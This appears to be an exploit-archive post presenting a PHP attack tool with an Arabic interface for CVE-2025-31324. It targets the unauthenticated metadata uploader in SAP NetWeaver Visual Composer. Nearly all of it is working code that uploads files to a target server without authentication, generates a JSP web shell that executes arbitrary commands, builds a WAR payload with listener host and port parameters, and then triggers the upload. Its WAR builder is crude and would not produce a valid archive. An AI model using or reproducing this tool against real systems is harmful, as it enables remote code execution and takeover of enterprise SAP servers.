============================================================================================================================================= | # Title : SAP NetWeaver 7.50 Visual Composer Metadata Exploitation Tool | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.sap.com/ | ============================================================================================================================================= [+] Summary : SAP NetWeaver Visual Composer contains an unauthenticated file upload vulnerability in the metadata uploader component (CVE-2025-31324) that allows attackers to upload arbitrary files including JSP web shells and WAR applications, leading to remote code execution on the SAP server. The vulnerability exists in the metadata uploader component of SAP NetWeaver Visual Composer, which fails to properly authenticate and validate file uploads. Attackers can exploit this by directly uploading malicious files to vulnerable endpoints without any authentication. [+] Usage: http://localhost/poc.php [+] POC : config = [ 'upload_dir' => 'uploads/', 'max_file_size' => 10485760, 'allowed_types' => ['jsp', 'war', 'jar', 'xml'] ]; if (!is_dir($this->config['upload_dir'])) { mkdir($this->config['upload_dir'], 0755, true); } } public function handleRequest() { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $this->handleExploit(); } else { $this->showForm(); } } private function showForm() { echo ' by indoushka لأداة استغلال SAP CVE-2025-31324

أداة استغلال SAP CVE-2025-31324

SAP NetWeaver Visual Composer Metadata Uploader - Unauthenticated File Upload
Powered by indoushka
الاستغلال السريع
إعدادات متقدمة
توليد الحمولات

الهدف الأساسي

الحمولة

إعدادات متقدمة

إعدادات التفعيل

توليد الحمولات

// سيتم عرض الحمولة هنا...

النتائج:

'; } private function handleExploit() { echo ' نتائج الاستغلال

نتائج عملية الاستغلال

'; try { $results = $this->executeExploit(); $this->displayResults($results); } catch (Exception $e) { echo '
خطأ: ' . htmlspecialchars($e->getMessage()) . '
'; } echo '

↻ العودة للنموذج '; } private function executeExploit() { $results = []; $host = $_POST['host'] ?? ''; $port = $_POST['port'] ?? '50001'; $endpoint = $_POST['endpoint'] ?? ''; if (empty($host) || empty($endpoint)) { throw new Exception("يجب تعبئة الحقول الإلزامية"); } $results[] = " الهدف: $host:$port"; $results[] = "المسار: $endpoint"; $payloadFile = $this->handlePayload(); $results[] = " الحمولة: " . basename($payloadFile); $https = isset($_POST['https']) ? true : false; $baseUrl = ($https ? 'https' : 'http') . "://$host:$port"; if (isset($_POST['bypass_portal'])) { $endpoint = str_replace('/portal', '', $endpoint); $results[] = " تم تجاوز Portal: $endpoint"; } // Execute upload $uploadResult = $this->uploadFile($baseUrl, $endpoint, $payloadFile); $results[] = " نتيجة الرفع: " . $uploadResult; $triggerPath = $_POST['trigger_path'] ?? ''; if (!empty($triggerPath)) { $triggerResult = $this->triggerPayload($baseUrl, $triggerPath); $results[] = " نتيجة التفعيل: " . $triggerResult; } if (strpos($payloadFile, $this->config['upload_dir']) !== false) { unlink($payloadFile); } return $results; } private function handlePayload() { $payloadType = $_POST['payload_type'] ?? 'file'; if ($payloadType === 'file') { if (!isset($_FILES['payload_file']) || $_FILES['payload_file']['error'] !== UPLOAD_ERR_OK) { throw new Exception("خطأ في رفع الملف"); } $uploadedFile = $_FILES['payload_file']; $filename = $this->config['upload_dir'] . uniqid() . '_' . $uploadedFile['name']; if (!move_uploaded_file($uploadedFile['tmp_name'], $filename)) { throw new Exception("فشل في حفظ الملف"); } return $filename; } else { return $this->generatePayload(); } } private function generatePayload() { $type = $_POST['payload_type']; $filename = $this->config['upload_dir'] . 'generated_' . uniqid(); if ($type === 'generate_jsp') { $filename .= '.jsp'; $command = $_POST['command'] ?? 'whoami'; $content = $this->generateJspPayload($command); } elseif ($type === 'generate_war') { $filename .= '.war'; $lhost = $_POST['lhost'] ?? '192.168.1.100'; $lport = $_POST['lport'] ?? '4444'; $content = $this->generateWarPayload($lhost, $lport); } file_put_contents($filename, $content); return $filename; } private function generateJspPayload($command) { return '<%@ page import="java.util.*,java.io.*" %> <% String cmd = "' . $command . '"; if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } } %>'; } private function generateWarPayload($lhost, $lport) { $jspContent = $this->generateJspPayload('id'); $warContent = "PK\x03\x04"; // ZIP header $webXml = ' Shell '; return $warContent . $webXml . $jspContent; } private function uploadFile($baseUrl, $endpoint, $payloadFile) { $url = $baseUrl . $endpoint; $fieldName = $_POST['field_name'] ?? 'UPLOAD_METADATA'; $ch = curl_init(); $postData = [ $fieldName => new CURLFile($payloadFile) ]; curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postData, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_TIMEOUT => 10 ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error) { return "خطأ: " . $error; } return "HTTP $httpCode - " . substr($response, 0, 100); } private function triggerPayload($baseUrl, $triggerPath) { $url = $baseUrl . $triggerPath; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_TIMEOUT => 10 ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return "HTTP $httpCode - " . substr($response, 0, 50); } private function displayResults($results) { foreach ($results as $result) { $class = 'result'; if (strpos($result, 'خطأ') !== false) { $class .= ' error'; } elseif (strpos($result, 'نجاح') !== false) { $class .= ' success'; } elseif (strpos($result, 'تحذير') !== false) { $class .= ' warning'; } echo "
$result
"; } } } $app = new SAPWebExploit(); $app->handleRequest(); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================